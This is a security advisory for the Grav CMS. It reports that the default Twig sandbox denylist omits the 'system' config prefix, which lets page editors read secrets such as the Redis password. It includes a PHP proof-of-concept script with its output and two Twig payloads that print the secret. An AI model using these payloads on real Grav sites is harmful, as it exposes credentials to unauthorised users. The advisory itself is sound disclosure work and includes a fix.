GHSA-xjw5-q542-3vmr: High severity composer/getgrav/grav vulnerability

Summary

system/config/security.yaml's default twigsandbox.configdeniedpaths list (plugins, streams, security, backups, scheduler) omits the system prefix. When an operator enables the documented, non-default twigcontent.configaccess: true setting (intended to safely expose low-sensitivity values like site.title to editor-authored Twig content), any real secret stored under system. , for example system.cache.redis.password , is also exposed, both via config.get(...) and via config.toArray(), to any user with page-edit permission.

This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist, but the shipped default denylist is incomplete.

Environment used to verify

- Grav commit at HEAD of the default branch, GRAVVERSION 2.0.15 - PHP 8.3.6 with curl, zip, dom, gd extensions installed - Full composer install --no-dev run against the real repository (no mocked dependencies) so the actual Grav\Common\Config\Config and Grav\Common\Twig\Sandbox\SandboxConfig classes could be exercised directly

Commands run to set up the verification environment

bash git clone https://github.com/getgrav/grav.git cd grav

install missing PHP extensions required by composer.json apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd

composer.phar fetched directly from GitHub releases curl -sL -o /tmp/composer.phar \ "https://github.com/composer/composer/releases/latest/download/composer.phar"

COMPOSERALLOWSUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

Proof of Concept

Confirmed the real, currently-shipped config field first, rather than assuming one:

bash grep -n "redis" -A3 system/config/system.yaml redis: socket: false password: # <- system.cache.redis.password, a real field database:

grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password" type: text

sandboxtest.php , loads the real classes via the real autoloader, no mocking of Config or SandboxConfig themselves:

php <?php require 'vendor/autoload.php';

use Grav\Common\Config\Config; use Grav\Common\Twig\Sandbox\SandboxConfig;

// Real field: system.cache.redis.password // (system/config/system.yaml line 138; blueprint in // system/blueprints/config/system.yaml, "cache.redis.password") $configTree = [ 'system' => [ 'cache' => [ 'driver' => 'redis', 'redis' => [ 'server' => '10.0.0.5', 'password' => 'REALREDISPASSWORDABC123SHOULDNOTLEAK', ], ], ], 'plugins' => [ 'someplugin' => ['apikey' => 'plugin-secret-should-be-blocked'], ], 'site' => ['title' => 'My Site'], ];

$config = new Config($configTree);

// exact default list shipped in system/config/security.yaml $defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];

$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);

echo "plugins.someplugin.apikey: "; vardump($sandboxConfig->get('plugins.someplugin.apikey', 'REDACTED'));

echo "system.cache.redis.password: "; vardump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));

printr($sandboxConfig->toArray());

Run:

bash php sandboxtest.php

Output:

plugins.someplugin.apikey: string(8) "REDACTED"

system.cache.redis.password: string(42) "REALREDISPASSWORDABC123SHOULDNOTLEAK"

Array ( [system] => Array ( [cache] => Array ( [driver] => redis [redis] => Array ( [server] => 10.0.0.5 [password] => REALREDISPASSWORDABC123SHOULDNOTLEAK )

)

)

[site] => Array ( [title] => My Site )

)

plugins. is correctly redacted; system.cache.redis.password is not, and appears in full both via targeted get() and via bulk toArray().

Confirming the Twig-reachable path is real

system/config/security.yaml's sandbox policy explicitly allow-lists SandboxConfig's methods for use inside sandboxed page-content templates:

yaml - class: 'Grav\Common\Twig\Sandbox\SandboxConfig' methods: 'get, toarray, value, offsetget, offsetexists'

So, with twigcontent.processenabled: true and twigcontent.configaccess: true both set (both documented, operator-controlled settings), a page containing:

twig {{ config.get('system.cache.redis.password') }}

or

twig {{ config.toArray() }}

renders the real Redis password directly into the page output for any user with page-edit permission.

Impact

Any site that (a) uses Redis for caching with a password set, and (b) has enabled the documented configaccess opt-in (intended only to expose things like site.title), exposes that Redis password , and potentially other future system. secrets , to every user with page-edit access, not just administrators. This defeats the purpose of the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific combination of otherwise-legitimate settings.

Suggested fix

Add system to the default configdeniedpaths list in system/config/security.yaml, or invert the model to an allowlist (e.g. site, and any other subtree confirmed non-sensitive) so a future secret-bearing config key added under system. doesn't silently bypass the sandbox by default.

Affected component

- system/config/security.yaml, twigsandbox.configdeniedpaths default value - system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php (behaves correctly given its input; the gap is in the default list passed to it)